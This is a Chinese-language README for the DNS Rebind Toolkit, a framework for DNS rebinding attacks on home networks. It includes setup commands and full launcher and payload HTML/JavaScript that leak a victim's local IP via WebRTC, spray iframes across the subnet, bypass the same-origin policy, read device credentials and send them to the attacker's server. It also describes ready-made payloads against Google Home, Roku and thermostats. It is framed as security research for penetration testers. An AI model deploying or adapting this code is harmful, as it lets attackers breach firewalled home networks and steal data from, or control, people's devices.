免责声明:本软件仅用于教育目的。本软件不得用于非法活动。作者对其使用不承担任何责任。别当混蛋。
DNS Rebind 工具包是一个前端 JavaScript 框架,用于针对局域网(LAN)上的脆弱主机和服务开发 DNS 重绑定 漏洞利用。它可用于攻击 Google Home、Roku、Sonos WiFi 音箱、WiFi 路由器、“智能”恒温器及其他物联网设备。使用此工具包,远程攻击者可以绕过路由器的防火墙,直接与受害者家庭网络上的设备交互,窃取隐私信息,在某些情况下甚至可以控制脆弱的设备本身。
该攻击要求目标网络上的受害者仅需点击一个链接,或浏览一个包含恶意 iframe 的 HTML 广告。之后,受害者的网页浏览器会被用作代理,直接访问连接到其家庭网络的其他主机。这些目标机器和服务通常无法从互联网被攻击者访问。远程攻击者可能不知道这些服务是什么,也不知道它们在受害者网络上占用哪些 IP 地址,但 DNS Rebind 工具包通过暴力猜测数百个可能的 IP 地址来处理这一问题。
在底层,该工具使用运行在 rebind.network:53 上的公共 whonow DNS 服务器 来执行 DNS 重绑定攻击,欺骗受害者的网页浏览器违反同源策略。然后,它利用 WebRTC 泄露受害者的私有 IP 地址,例如 192.168.1.36。它利用该本地 IP 地址的前三个八位组来猜测网络的子网,然后注入 256 个 iframe,从 192.168.1.0 到 255,向可能位于该网络子网上的每台主机发送载荷。
该工具包可用于开发和部署你自己的 DNS 重绑定攻击。工具包的 payloads/ 目录中包含几个真实世界的攻击载荷。这些载荷包括针对几款流行物联网设备(包括 Google Home 和 Roku 产品)的信息窃取(以及恶搞的“瑞克摇”)攻击。
该工具包是针对 DNS 重绑定攻击的独立安全研究的成果。你可以在此处阅读该原始研究。
# 克隆仓库
git clone https://github.com/brannondorsey/dns-rebind-toolkit.git
cd dns-rebind-toolkit
# 安装依赖
npm install
# 使用 root 权限运行服务器以访问特权端口 80
# 该脚本提供 www/、/examples、/share 和 /payloads 目录中的文件
sudo node server
默认情况下,server.js 提供针对 Google Home、Roku、Sonos 音箱、飞利浦 Hue 灯泡和 Radio Thermostat 设备的载荷,这些设备分别在端口 8008、8060、1400、80 和 80 上运行服务。如果你的家庭网络中有这些设备之一,请访问 http://rebind.network 获取一个惊喜 ;)。打开开发者控制台,观察这些服务被无害地利用,数据从它们那里被窃取并外泄到 server.js。
该工具包提供了两个 JavaScript 对象,可以一起使用来创建 DNS 重绑定攻击:
DNSRebindAttack:此对象用于对运行在已知端口上的脆弱服务发起攻击。它会为你选择攻击的每个 IP 地址生成一个载荷。DNSRebindAttack 对象用于创建、管理和与多个 DNSRebindNode 对象通信。DNSRebindAttack 生成的每个载荷必须包含一个 DNSRebindNode 对象。DNSRebindNode:此静态类对象应包含在每个 HTML 载荷文件中。它用于攻击一台主机上运行的一个服务。它可以与生成它的 DNSRebindAttack 对象通信,并且具有执行 DNS 重绑定攻击(使用 DNSRebindNode.rebind(...))以及将在攻击过程中发现的数据外泄到 server.js(DNSRebindNode.exfiltrate(...))的辅助函数。这两个脚本一起使用,对受防火墙保护的局域网上的未知主机执行攻击。一个基本的攻击过程如下:
http://example.com/launcher.html。launcher.html 包含一个 DNSRebindAttack 实例。http://example.com/launcher.html 嵌入为 iframe 的页面。这导致 launcher.html 上的 DNSRebindAttack 开始攻击。DNSRebindAttack 使用 WebRTC 泄露 发现受害者机器的本地 IP 地址(例如 192.168.10.84)。攻击者利用此信息选择要在受害者局域网内攻击的 IP 地址范围(例如 192.168.10.0-255)。launcher.html 对受害者子网上的一个 IP 地址范围发起 DNS 重绑定攻击(使用 DNSRebindAttack.attack(...)),针对单个服务(例如端口 8008 上可用的未文档化的 Google Home REST API)。请注意,如果用户网络上有台未知 IP 地址的 Google Home 设备,并且对整个 192.168.1.0/24 子网发起攻击,那么一个 DNSRebindNode 的重绑定攻击会成功,另外 254 个会失败。
一次攻击由三个协调的脚本和文件组成:
DNSRebindAttack 实例的 HTML 文件(例如 launcher.html)payload.html)。该文件由 DNSRebindAttack 为每个被攻击的 IP 地址嵌入到 launcher.html 中。server.js),用于提供上述文件并在需要时外泄数据。launcher.html以下是一个 HTML 启动器文件的示例。你可以在 examples/launcher.html 中找到完整文档。
<!DOCTYPE html>
<head>
<title>Example launcher</title>
</head>
<body>
<!-- This script is a depency of DNSRebindAttack.js and must be included -->
<script type="text/javascript" src="/share/js/EventEmitter.js"></script>
<!-- Include the DNS Rebind Attack object -->
<script type="text/javascript" src="/share/js/DNSRebindAttack.js"></script>
<script type="text/javascript">
// DNSRebindAttack has a static method that uses WebRTC to leak the
// browser's IP address on the LAN. We'll use this to guess the LAN's IP
// subnet. If the local IP is 192.168.1.89, we'll launch 255 iframes
// targetting all IP addresses from 192.168.1.1-255
DNSRebindAttack.getLocalIPAddress()
.then(ip => launchRebindAttack(ip))
.catch(err => {
console.error(err)
// Looks like our nifty WebRTC leak trick didn't work (doesn't work
// in some browsers). No biggie, most home networks are 192.168.1.1/24
launchRebindAttack('192.168.1.1')
})
function launchRebindAttack(localIp) {
// convert 192.168.1.1 into array from 192.168.1.0 - 192.168.1.255
const first3Octets = localIp.substring(0, localIp.lastIndexOf('.'))
const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)
// The first argument is the domain name of a publicly accessible
// whonow server (https://github.com/brannondorsey/whonow).
// I've got one running on port 53 of rebind.network you can to use.
// The services you are attacking might not be running on port 80 so
// you will probably want to change that too.
const rebind = new DNSRebindAttack('rebind.network', 80)
// Launch a DNS Rebind attack, spawning 255 iframes attacking the service
// on each host of the subnet (or so we hope).
// Arguments are:
// 1) target ip addresses
// 2) IP address your Node server.js is running on. Usually 127.0.0.1
// during dev, but then the publicly accessible IP (not hostname)
// of the VPS hosting this repo in production.
// 3) the HTML payload to deliver to this service. This HTML file should
// have a DNSRebindNode instance implemented on in it.
// 4) the interval in milliseconds to wait between each new iframe
// embed. Spawning 100 iframes at the same time can choke (or crash)
// a browser. The higher this value, the longer the attack takes,
// but the less resources it consumes.
rebind.attack(ips, '127.0.0.1', 'examples/payload.html', 200)
// rebind.nodes is also an EventEmitter, only this one is fired using
// DNSRebindNode.emit(...). This allows DNSRebindNodes inside of
// iframes to post messages back to the parent DNSRebindAttack that
// launched them. You can define custome events by simply emitting
// DNSRebindNode.emit('my-custom-event') and a listener in rebind.nodes
// can receive it. That said, there are a few standard event names that
// get triggered automagically:
// - begin: triggered when DNSRebindNode.js is loaded. This signifies
// that an attack has been launched (or at least, it's payload was
// delivered) against an IP address.
// - rebind: the DNS rebind was successful, this node should now be
// communicating with the target service.
// - exfiltrate: send JSON data back to your Node server.js and save
// it inside the data/ folder.
// Additionally, the DNSRebindNode.destroy() static method
// will trigger the 'destory' event and cause DNSRebindAttack to
// remove the iframe.
rebind.nodes.on('begin', (ip) => {
// the DNSRebindNode has been loaded, attacking ip
})
rebind.nodes.on('rebind', (ip) => {
// the rebind was successful
console.log('node rebind', ip)
})
rebind.nodes.on('exfiltrate', (ip, data) => {
// JSON data was exfiltrated and saved to the data/
// folder on the remote machine hosting server.js
console.log('node exfiltrate', ip, data)
// data = {
// "username": "crashOverride",
// "password": "hacktheplanet!",
// }
})
}
</script>
</body>
</html>
payload.html以下是一个 HTML 载荷文件的示例。你可以在 examples/payload.html 中找到完整文档。
<!DOCTYPE html>
<html>
<head>
<title>Example Payload</title>
</head>
<body>
<!--
Load the DNSRebindNode. This static class is used to launch the rebind
attack and communicate with the DNSRebindAttack instance in example-launcher.html
-->
<script type="text/javascript" src="/share/js/DNSRebindNode.js"></script>
<script type="text/javascript">
attack()
.then(() => {},
err => {
// there was an error at some point during the attack
console.error(err)
DNSRebindNode.emit('fatal', err.message)
}
) // remove this iframe by calling destroy()
.then(() => DNSRebindNode.destroy())
// launches the attack and returns a promise that is resolved if the target
// service is found and correctly exploited, or more likely, rejected because
// this host doesn't exist, the target service isn't running, or something
// went wrong with the exploit. Remember that this attack is being launched
// against 255+ IP addresses, so most of them won't succeed.
async function attack() {
// DNSRebindNode has some default fetch options that specify things
// like no caching, etc. You can re-use them for convenience, or ignore
// them and create your own options object for each fetch() request.
// Here are their default values:
// {
// method: "GET",
// headers: {
// // this doesn't work in all browsers. For instance,
// // Firefox doesn't let you do this.
// "Origin": "", // unset the origin header
// "Pragma": "no-cache",
// "Cache-Control": "no-cache"
// },
// cache: "no-cache"
// }
const getOptions = DNSRebindNode.fetchOptions()
try {
// In this example, we'll pretend we are attacking some service with
// an /auth.json file with username/password sitting in plaintext.
// Before we swipe those creds, we need to first perform the rebind
// attack. Most likely, our webserver will cache the DNS results
// for this page's host. DNSRebindNode.rebind(...) recursively
// re-attempts to rebind the host with a new, target IP address.
// This can take over a minute, and if it is unsuccessful the
// promise is rejected.
const opts = {
// these options get passed to the DNS rebind fetch request
fetchOptions: getOptions,
// by default, DNSRebindNode.rebind() is considered successful
// if it receives an HTTP 200 OK response from the target service.
// However, you can define any kind of "rebind success" scenario
// yourself with the successPredicate(...) function. This
// function receives a fetch result as a parameter and the return
// value determines if the rebind was successful (i.e. you are
// communicating with the target server). Here we check to see
// if the fetchResult was sent by our example vulnerable server.
successPredicate: (fetchResult) => {
return fetchResult.headers.get('Server') == 'Example Vulnerable Server v1.0'
}
}
// await the rebind. Can take up to over a minute depending on the
// victim's DNS cache settings or if there is no host listening on
// the other side.
await DNSRebindNode.rebind(`http://${location.host}/auth.json`, opts)
} catch (err) {
// whoops, the rebind failed. Either the browser's DNS cache was
// never cleared, or more likely, this service isn't running on the
// target host. Oh well... Bubble up the rejection and have our
// attack()'s rejection handler deal w/ it.
return Promise.reject(err)
}
try {
// alrighty, now that we've rebound the host and are communicating
// with the target service, let's grab the credentials
const creds = await fetch(`http://${location.host}/auth.json`)
.then(res => res.json())
// {
// "username": "crashOverride",
// "password": "hacktheplanet!",
// }
// console.log(creds)
// great, now let's exfiltrate those creds to the Node.js server
// running this whole shebang. That's the last thing we care about,
// so we will just return this promise as the result of attack()
// and let its handler's deal with it.
//
// NOTE: the second argument to exfiltrate(...) must be JSON
// serializable.
return DNSRebindNode.exfiltrate('auth-example', creds)
} catch (err) {
return Promise.reject(err)
}
}
</script>
</body>
</html>
server.js该脚本用于提供 launcher.html 和 payload.html 文件,以及接收并保存来自 DNSRebindNode 的外泄数据到 data/ 文件夹。在开发过程中,我通常会在 localhost 上运行此服务器,并将 DNSRebindAttack.attack(...) 指向 127.0.0.1。生产环境中,我会在 VPS 云服务器上运行此服务器,并将 DNSRebindAttack.attack(...) 指向其公共 IP 地址。
# 以管理员权限运行以打开端口 80
sudo node server
usage: server [-h] [-v] [-p PORT]
DNS Rebind Toolkit server
Optional arguments:
-h, --help Show this help message and exit.
-v, --version Show program's version number and exit.
-p PORT, --port PORT Which ports to bind the servers on. May include
multiple like: --port 80 --port 1337 (default: -p 80
-p 8008 -p 8060 -p 1337)
我在 examples/vulnerable-server.js 中包含了一个示例脆弱服务器。该脆弱服务必须在网络上另一台机器上运行,因为其端口必须与 server.js 的端口相同。要自行运行此示例攻击,请执行以下操作:
# 克隆仓库
git clone https://github.com/brannondorsey/dns-rebind-toolkit
cd dns-rebind-toolkit
# 启动脆弱服务器
node examples/vulnerable-server
# ...
# 脆弱服务器正在监听 3000
node server --port 3000
现在,在浏览器中访问 http://localhost:3000/launcher.html 并打开开发者控制台。等待一两分钟,如果攻击成功,你应该会看到从辅助计算机上运行的脆弱服务器中转储的凭据信息。
请查看 examples/ 和 payloads/ 目录以获取更多示例。
server.js:DNS 重绑定工具包服务器payloads/:几个手工制作的 HTML 载荷文件,用于攻击一些脆弱的物联网设备。目前包括针对 Google Home、Roku 和 Radio Thermostat 的攻击。我希望未来有更多载荷添加到该仓库(欢迎提交 PR!)examples/:示例用法文件。data/:由 DNSRebindNode.exfiltrate(...) 外泄的数据保存到此目录。share/:examples/ 和 payloads/ 中多个 HTML 文件共享的 JavaScript 文件目录。该工具包旨在成为研究人员和渗透测试人员的有用工具。如果你想了解导致其创建的一些研究,请查看这篇文章。如果你为其他服务编写了载荷,请考虑向该仓库提交 PR,以便他人能从你的工作中受益!
DNSRebindAttack 将一个包含 payload.html 的 iframe 嵌入到 launcher.html 页面中。每个 iframe 包含一个 DNSRebindNode 对象,该对象对正在攻击的 IP 地址范围中单个主机的端口 8008 执行攻击。此注入过程持续进行,直到为攻击目标中的每个 IP 地址都注入了一个 iframe。payload.html 文件使用 DNSRebindNode 尝试与 whonow DNS 服务器 通信来执行重绑定攻击。如果成功,则违反同源策略,payload.html 可以直接与 Google Home 产品通信。通常,payload.html 会被编写成向目标设备发出若干 API 调用,并在攻击结束并销毁自身之前将结果外泄到运行在 example.com 上的 server.js。